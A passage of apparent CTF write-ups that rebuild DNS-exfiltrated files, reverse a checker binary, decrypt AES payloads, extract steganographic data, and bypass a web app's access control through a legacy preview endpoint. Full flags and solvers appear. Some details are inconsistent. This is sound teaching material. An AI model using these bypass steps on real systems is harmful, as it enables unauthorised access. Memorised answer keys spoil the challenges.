# dedupe: keep one variant per (idx, d1, d2)
uniq = {}
for r in recs:
    uniq.setdefault((r[0], r[2], r[3], r[4], r[5]), r)

q = sorted([r for r in uniq.values() if r[1] == 'q'], key=lambda r: r[0])

raw = b''.join(b32hex_decode(r[3] + r[4]) for r in q)
data = gzip.decompress(raw)          # -> POSIX tar archive

The first bytes are 1f 8b 08… — the gzip magic confirms the encoding is right.

Brute-forcing the corrupt copies. The 7 duplicated indices each have 2–3 variants, so there are 192 combinations; a tiny loop that tries every combination and calls gzip.decompress until one succeeds pinpoints the clean copy of each chunk. (gzip’s built-in CRC32 is the “QA checker”.)

2.4 Extract the tar

1
2
3
4
5
tar -xf q_dec.bin
  labcheck         x86-64 ELF, stripped   ("Pollos QA / calibration gate")
  cook_notes.txt   the recipe
  manifest.enc     430 bytes, "BSC2" seal
  drops.dat        drop records

cook_notes.txt:

1
2
3
4
5
6
7
8
9
10
The resolver logged the manager special during the shift. That token is the first ingredient.
Batch stamp: B30852
Gus writes the menu token before the batch stamp. The QA checker knows the one-character joiner.
Whatever labcheck accepts is the exact sealing phrase for manifest.enc.

Seal recipe:
  header = BSC2 | iterations(le32) | salt(16) | nonce(12) | plaintext_sha256(32) | ciphertext+tag
  KDF    = PBKDF2-HMAC-SHA256, header iteration count, 32-byte key
  cipher = AES-256-GCM
  AAD    = BSC2

3. Reversing labcheck — the sealing phrase

labcheck is the “QA gate”: feed it a phrase and it prints Calibration accepted. or rejected. Disassembly (objdump -d -M intel) of main (at 0x4010a0) shows the validation:

40111b: call  strlen@plt
401120: cmp   rax,0xe          ; length must be 14
401124: jne   401272           ; -> rejected
40112a: cmp   BYTE PTR [rsp+0x67],0x24   ; char[7] must be '$'
401160: cmp   BYTE PTR [rsp+0x68],0x42   ; char[8] must be 'B'
; chars[0..6] must each be A-Z or 0-9
401140: movzx edx,BYTE PTR [rax]
401143: lea   ecx,[rdx-0x41]   ; 'A'
401146: cmp   cl,0x19          ; <= 'Z' ?
40114b: sub   edx,0x30         ; else '0'
40114e: cmp   dl,0x9           ; <= '9' ?
; chars[9..13] must be digits
401170: movzx eax,BYTE PTR [rbx+rdx*1]
401174: sub   eax,0x30
401177: cmp   al,0x9

So the accepted format is:

1
XXXXXXXX$B#####      (7 × [A-Z0-9], '$', 'B', 5 × digits)

→ “menu token before the batch stamp, joined by $” → TOKEN$B30852.

The current special is POLLOS7, and trying the four candidates:

1
2
3
4
POLLOS7$B30852  ->  Calibration accepted.   ✅
FAMILIA2$B30852 ->  Calibration rejected.
VEGGIE4$B30852  ->  Calibration rejected.
COMBO12$B30852  ->  Calibration rejected.

So the sealing phrase is POLLOS7$B30852 (the $ is the “one-character joiner”).


4. Decrypting manifest.enc

Parse the header and decrypt per the recipe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
from Crypto.Cipher import AES

data   = open('manifest.enc','rb').read()
magic  = data[0:4]            # b'BSC2'
iters  = int.from_bytes(data[4:8], 'little')   # 150000
salt   = data[8:24]
nonce  = data[24:36]
sha    = data[36:68]
ct     = data[68:]            # ciphertext + 16-byte tag

key = hashlib.pbkdf2_hmac('sha256', b'POLLOS7$B30852', salt, iters, 32)

cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
cipher.update(b'BSC2')                    # AAD
pt = cipher.decrypt_and_verify(ct[:-16], ct[-16:])
assert hashlib.sha256(pt).digest() == sha # integrity check

Plaintext:

1
2
3
4
5
6
7
FRING DISTRIBUTION // VERIFIED MANIFEST
route=RV-052
window=15:08:52Z
key_fragment=d7d4299869b9d8c55138
drops_sha256=38a1d08e82459795af146e448ed7ddba0611e1da8a2eb417652f89de7647257f
mask_rule=SHA256(key_fragment + "|" + route + "|" + window); repeat digest and XOR payload bytes
instruction=Use the record matching route and window in drops.dat.

5. Unmasking the drop

drops.dat is a table of DROP2|route|window|payload_hex rows. The manifest points at RV-052 @ 15:08:52Z:

1
RV-052|15:08:52Z|61abdaeef3a48947d50f2b854c80bf8360d0dcdd8bcdbcf6976730d600e044845f

The mask_rule is a classic repeating-key XOR stream cipher keyed by a SHA-256 digest:

1
2
3
4
5
6
7
8
import hashlib

payload = bytes.fromhex("61abdaeef3a48947d50f2b854c80bf8360d0dcdd8bcdbcf6976730d600e044845f")
mask = hashlib.sha256(b"d7d4299869b9d8c55138|RV-052|15:08:52Z").digest()
mask = (mask * (len(payload)//len(mask) + 1))[:len(payload)]

flag = bytes(a ^ b for a, b in zip(payload, mask))
print(flag.decode())

Output:

1
CYS{c4rb0n_c0py_dr0ps_d0nt_c0unt}

The flag is self-referential — “carbon-copy drops don’t count” — a callback to the whole deduplication theme of the challenge. 🍗


Appendix — consolidated solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
import re, gzip, tarfile, hashlib, itertools
from scapy.all import *
from Crypto.Cipher import AES

B32 = "0123456789abcdefghijklmnopqrstuv"
def b32hex_decode(s):
    bits = ''.join(f'{B32.index(c):05b}' for c in s)
    n = (len(bits)//8)*8
    return bytes(int(bits[i:i+8],2) for i in range(0,n,8))

# ---- 1. parse the exfil records ----
recs = []
for p in rdpcap('capture.pcap'):
    if not p.haslayer(DNS): continue
    q = p[DNS].qd.qname.decode().rstrip('.')
    m = re.match(r'^s([0-9a-z]{3})([a-z])\.([0-9a-f]{4})\.([0-9a-z]+)\.([0-9a-z]+)\.([a-z0-9.-]+)$', q)
    if m:
        idx, typ, hx, d1, d2, dom = m.groups()
        recs.append((int(idx,36), typ, hx, d1, d2, dom, p[DNS].rcode))

# ---- 2. rebuild the stream (dedupe, sort by index, drop 'r' rejects) ----
from collections import defaultdict
by = defaultdict(list)
for r in recs:
    if r[1] in ('q','r'):
        by[r[0]].append(r)

order = sorted(i for i in by if i % 36 == 4)
variants = {i: [] for i in order}
for i in order:
    for r in by[i]:
        v = (r[2], r[3], r[4])
        if v not in variants[i]: variants[i].append(v)

dup = [i for i in order if len(variants[i]) > 1]
for combo in itertools.product(*[range(len(variants[i])) for i in dup]):
    sel = {}
    for k,i in enumerate(dup): sel[i] = variants[i][combo[k]]
    for i in order:
        if i not in sel: sel[i] = variants[i][0]
    raw = b''.join(b32hex_decode(sel[i][1]+sel[i][2]) for i in order)
    try:
        tar = gzip.decompress(raw); break
    except Exception: pass

with open('q_dec.bin','wb') as f: f.write(tar)

# ---- 3. decrypt the manifest ----
data = open('manifest.enc','rb').read()
key  = hashlib.pbkdf2_hmac('sha256', b'POLLOS7$B30852',
                           data[8:24], int.from_bytes(data[4:8],'little'), 32)
c = AES.new(key, AES.MODE_GCM, nonce=data[24:36]); c.update(b'BSC2')
pt = c.decrypt_and_verify(data[68:-16], data[-16:])
print(pt.decode())

# ---- 4. unmask the drop ----
payload = bytes.fromhex('61abdaeef3a48947d50f2b854c80bf8360d0dcdd8bcdbcf6976730d600e044845f')
mask    = hashlib.sha256(b'd7d4299869b9d8c55138|RV-052|15:08:52Z').digest()
flag    = bytes(a^b for a,b in zip(payload, (mask*10)[:len(payload)]))
print(flag.decode())   # CYS{c4rb0n_c0py_dr0ps_d0nt_c0unt}

Notes on red herrings & dead ends

  • The o-series and the 2-byte hex field. I spent a while trying to make the 24 o records (indices 36·k, interleaved with the q series in the same namespace) and the per-record hex4 field decode into something (RLE, checksums, positions). They appear to be filler/timing noise that makes the channel look busier — the actual file came entirely from the q series. The hex4 field is likely a per-chunk tag that the “QA checker” (gzip CRC) ended up making redundant.

  • “position precedes run length” reads like a hint toward a run-length encoding, but the recovered payload is just gzip — the phrase effectively reinforces that chunk positions (sequence numbers) must be respected before content is consumed. It isn’t load-bearing for the final decode.

  • drops_sha256 in the manifest is the SHA-256 of the cleartext drop record (a consistency check for the route table), not of the masked payload.

Flag

CYS{c4rb0n_c0py_dr0ps_d0nt_c0unt}

Blue Sky Telemetry

Blue Sky Telemetry

Author: Prateet Gogia

This is a Steganography and Reverse Engineering-based CTF challenge demonstrating layered hidden data, red herrings, and custom firmware encryption.

Firstly for the Decoy part:

Running strings artifact.jpg yields a fake Base64 string decoding to CTF{y0u_g0dd4mn_r1ght_I_h1d_1t_but_n0t_h3r3}.

For the Steganography part:

First, we check the metadata. exiftool artifact.jpg reveals Artist : c3VwZXJzZWNyZXRrZXk=, which Base64 decodes to supersecretkey.

Next, we use this for the Archive Extraction. Running steghide extract -sf artifact.jpg -p supersecretkey drops payload.zip.

For the Reverse Engineering part:

Unzipping reveals intercept_log.txt (containing a Base32 decoy and a raw hex array) and firmware_snippet.c.

The C script shows the data was encrypted using (data[i] ^ 0x33) + 0x05.

To get the final flag, the player must write a script to reverse this operation chr((byte - 0x05) ^ 0x33) against the hex array to yield the final flag: CTF{h3is3nb3rg_c00k_t3l3m3try_99_1}.

Flag

CTF{h3is3nb3rg_c00k_t3l3m3try_99_1}

BLUEprint

BLUEprint

Author: Srishwar Karthik V

This is a web-based CTF challenge involving a legacy laboratory record system with forgotten files, migration artifacts, and questionable access controls.

The objective is to investigate the application, follow the traces left behind by the old system, and uncover a record that was never meant to be accessible.

Solution

Firstly, we inspect robots.txt.

1
2
3
4
User-agent: *
Disallow: /static/old/

# Residual files should have been cleaned.

This reveals the legacy directory:

1
/static/old/

We access it and find the archived laboratory record system along with a legacy JavaScript file:

1
/static/old/blueprint-v1.js

The legacy page also indicates that additional records may still exist and that the cleanup checklist may contain useful information.

Inspecting blueprint-v1.js

We inspect blueprint-v1.js and find the following API endpoints:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const API_VERSION = "v2";

function requestNote(id, preview = false) {
    let endpoint = `/api/${API_VERSION}/note/${id}`;

    if (preview)
        endpoint += "?preview=1";

    return fetch(endpoint);
}

function previewDraft(id) {
    return requestNote(id, true);
}

function fetchArchive(path, batchRef) {
    return fetch(`${path}?ref=${batchRef}`);
}

The important endpoints revealed by the JavaScript are:

1
/api/${API_VERSION}/note/${id}

and:

1
${path}?ref=${batchRef}

The JavaScript also reveals that the old system supports a preview parameter and archive requests using a batch reference.

Finding the Migration Log

Next, we inspect cleanup.txt.

It contains a list of migration records:

1
2
3
4
5
6
7
blueprint-v1.js
cleanup.txt
batch.log
migration.txt
migration.log
reaction.log
transfer.log

The most interesting file is:

1
/static/old/migration.log

Visiting this endpoint downloads the migration log.

The log contains information about migrated records. Among them, we find:

1
2
Migrated note id=104 visibility=private status=ok
DEBUG legacy_note_id=104 migration_batch=BP-BLUE

This tells us that note 104 is a private record and is worth investigating.

Accessing Note 104

From blueprint-v1.js, the normal note endpoint is:

1
/api/v2/note/<id>

Therefore, we try:

1
/api/v2/note/104

The server responds with an access-denied page because the note is private.

However, the legacy JavaScript contains a preview functionality:

1
?preview=1

This suggests that the old preview mechanism may behave differently from the normal access-control path.

We therefore try:

1
/api/v1/note/104?preview=1

The preview successfully reveals the contents of the restricted record.

Among the information revealed is the batch reference:

1
BLUE-99-1

We can use this reference to access the next part of the challenge.

Accessing the Los Hermanos Archive

The legacy JavaScript showed that archive requests use a ref parameter:

1
2
3
function fetchArchive(path, batchRef) {
    return fetch(`${path}?ref=${batchRef}`);
}

The application contains a protected archive named:

1
los_hermanos.tar.gz

Direct access to the archive is denied.

However, we now have the required batch reference from the previewed note.

We construct the following request:

1
/backup/los_hermanos.tar.gz?ref=BLUE-99-1

The archive is successfully downloaded.

Extracting the Flag

After extracting los_hermanos.tar.gz, we find several directories and files:

1
2
3
4
5
6
config/
evidence/
manifests/
records/
README
SHA256SUMS

The relevant directory is:

1
evidence/

Inside it, we find:

1
final_manifest.txt

The final manifest contains the flag encoded in Base64.

Decoding the value gives:

1
CYS{7H3_8LU3_84TCH_15_99_1}

The complete solve chain is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
robots.txt
    ↓
/static/old/
    ↓
blueprint-v1.js
    ↓
cleanup.txt
    ↓
migration.log
    ↓
Find private note ID 104
    ↓
/api/v1/note/104?preview=1
    ↓
Extract batch reference BLUE-99-1
    ↓
/backup/los_hermanos.tar.gz?ref=BLUE-99-1
    ↓
Extract archive
    ↓
evidence/final_manifest.txt
    ↓
Decode Base64
    ↓
Flag

Flag

1
CYS{dynamic_flag}

Flag

CYS{dynamic_flag}

Breaking Measures

Breaking Measures

Author: Amarnath

This is a forensics-based CTF challenge chaining SSH log analysis, HTTP access log correlation, EXIF metadata extraction, and JPEG steganography at the DCT-coefficient level, ending in a PBKDF2-derived AES decryption.

We’re given two log files, auth.log and access.log, and a folder of images.

Step 1 — Decoding the passphrase from auth.log

First, we look at auth.log. Several IPs get an “Accepted” line for an SSH login, so a successful login by itself doesn’t tell us which one is the one that matters — each candidate has to be checked individually.

For every IP that has an Accepted line, we pull all of its lines (its failed attempts plus the final accepted one, in chronological order), take the seconds field out of each timestamp, and decode it as a letter using letter = chr(65 + (seconds % 26)).

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
import sys


def main():
    logfile = sys.argv[1] if len(sys.argv) > 1 else "auth.log"

    with open(logfile) as f:
        lines = f.readlines()

    accepted_ips = []
    for line in lines:
        if "Accepted" in line:
            m = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)
            if m:
                accepted_ips.append(m.group(1))

    accepted_ips = list(dict.fromkeys(accepted_ips))
    print(f"Found {len(accepted_ips)} IP(s) with a successful login:\n")

    for ip in accepted_ips:
        ip_lines = [line for line in lines if f"from {ip} " in line]

        seconds_values = []
        for line in ip_lines:
            m = re.search(r"\d{2}:\d{2}:(\d{2})", line)
            if m:
                seconds_values.append(int(m.group(1)))

        decoded = "".join(chr(65 + (s % 26)) for s in seconds_values)

        print(f"IP: {ip}")
        print(f"  seconds sequence: {seconds_values}")
        print(f"  decoded string:   {decoded}")
        print()


if __name__ == "__main__":
    main()

Output:

Running this against auth.log, only one of the three IPs decodes to a real word:

1
2
IP: 115.77.138.131
  decoded string:   HALFMEASURES

That gives us both the real IP and the passphrase, HALFMEASURES, which we’ll need again later.

Step 2 — Correlating with access.log

Next, we filter access.log by that same IP to see what it actually touched:

Command:

1
grep "115.77.138.131" access.log

Output:

1
2
3
4
5
6
GET  img040.jpg  200
GET  img004.jpg  200
HEAD img007.jpg  200
HEAD img042.jpg  200
GET  img031.jpg  206 (x3)
GET  img023.jpg  206 (x3)

Six images, in two pairs and two singles. Two files get a single plain GET — just noise. Two get a single HEAD request each — one of these is the real salt carrier, the other a decoy with an identical request pattern. Two get three repeated 206 Partial Content requests each — one is the real cipher carrier, the other a decoy shaped the same way. The log narrows things down but doesn’t hand over which file in each pair is real; that has to be confirmed by actually checking each one. In this case img042.jpg and img023.jpg turn out to be the real pair.

Step 3 — Extracting the salt from img042.jpg (EXIF)

img042.jpg carries the AES salt, hidden in its EXIF UserComment field, base32-encoded twice.

Command:

1
exiftool -UserComment images/img042.jpg

Output:

1
User Comment : JJNEGVKLKJBUOS2WI5CVSVCLIZEUMSSWJNKVGRQ=

Decode script:

1
2
3
4
5
6
7
8
9
10
import sys
import base64

if __name__ == "__main__":
    encoded_once = sys.argv[1]
    once = base64.b32decode(encoded_once).decode()
    twice = base64.b32decode(once).decode()

    print("first decode: ", once)
    print("salt:         ", twice)

Output:

1
2
first decode:  JZCUKRCGKVGEYTKFIFJVKUSF
salt:          NEEDFULLMEASURE

That gives us the salt, NEEDFULLMEASURE.

Step 4 — Extracting the cipher payload from img023.jpg (DCT steganography)

img023.jpg is where the actual encrypted flag lives, hidden inside the image’s DCT coefficients rather than pixel LSBs — this is why LSB-focused tools like steghide or zsteg come back empty on it. The coefficients used are chosen by seeding a PRNG from SHA-256 of the passphrase, shuffling the list of candidate coefficients (every non-DC coefficient with an absolute value of 2 or higher), and writing the payload’s bits into the LSB of those coefficients in that shuffled order, with a 32-bit length header first.

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import sys
import hashlib
import random
import jpegio as jio


def seed_from_passphrase(passphrase: bytes) -> int:
    digest = hashlib.sha256(passphrase).digest()
    return int.from_bytes(digest[:8], "big")


def get_candidate_coords(jpg):
    coords = []
    for comp_idx, arr in enumerate(jpg.coef_arrays):
        h, w = arr.shape
        for by in range(0, h, 8):
            for bx in range(0, w, 8):
                for i in range(8):
                    for j in range(8):
                        if i == 0 and j == 0:
                            continue
                        if abs(arr[by + i, bx + j]) >= 2:
                            coords.append((comp_idx, by + i, bx + j))
    return coords


def extract(stego_path: str, passphrase: bytes) -> bytes:
    jpg = jio.read(stego_path)
    coords = get_candidate_coords(jpg)

    rng = random.Random(seed_from_passphrase(passphrase))
    rng.shuffle(coords)

    header_bits = "".join(str(abs(jpg.coef_arrays[c][y, x]) & 1) for (c, y, x) in coords[:32])
    length = int(header_bits, 2)

    need = 32 + length * 8
    data_bits = "".join(str(abs(jpg.coef_arrays[c][y, x]) & 1) for (c, y, x) in coords[32:need])
    data = bytes(int(data_bits[i:i + 8], 2) for i in range(0, len(data_bits), 8))
    return data


if __name__ == "__main__":
    stego_path, passphrase_str = sys.argv[1], sys.argv[2]
    out = extract(stego_path, passphrase_str.encode())

    with open("cipher_payload_extracted.bin", "wb") as f:
        f.write(out)

    print(f"Extracted {len(out)} bytes -> cipher_payload_extracted.bin")

Command:

1
2
pip install jpegio
python3 solve_extract_dct.py images/img023.jpg HALFMEASURES

Output:

1
Extracted 48 bytes -> cipher_payload_extracted.bin

That’s 16 bytes of IV followed by 32 bytes of AES ciphertext.

Step 5 — Deriving the key and decrypting

Finally, the AES key is derived with PBKDF2-HMAC-SHA256 from the passphrase and salt we already have, 100,000 iterations, 32-byte output, and that key decrypts the payload with AES-CBC.

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes, padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

PASSPHRASE = b"HALFMEASURES"
SALT = b"NEEDFULLMEASURE"
ITERATIONS = 100_000


def derive_key(passphrase=PASSPHRASE, salt=SALT, iterations=ITERATIONS):
    kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=iterations)
    return kdf.derive(passphrase)


def decrypt(payload, key):
    iv, ct = payload[:16], payload[16:]
    decryptor = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
    padded = decryptor.update(ct) + decryptor.finalize()
    unpadder = padding.PKCS7(128).unpadder()
    return unpadder.update(padded) + unpadder.finalize()


if __name__ == "__main__":
    with open("cipher_payload_extracted.bin", "rb") as f:
        payload = f.read()

    key = derive_key()
    flag = decrypt(payload, key)
    print("FLAG:", flag.decode())

Output:

1
FLAG: CYS{no_m0r3_ha1f_m3a5ur3s}

Summary

The full chain: the seconds field in auth.log gives up the passphrase, the access.log request pattern narrows fifty images down to the two that matter, img042’s EXIF gives up the salt, img023’s DCT coefficients (unlocked by the passphrase) give up the encrypted payload, and PBKDF2 plus AES-CBC turns all of that into the flag.

Flag

CYS{no_m0r3_ha1f_m3a5ur3s}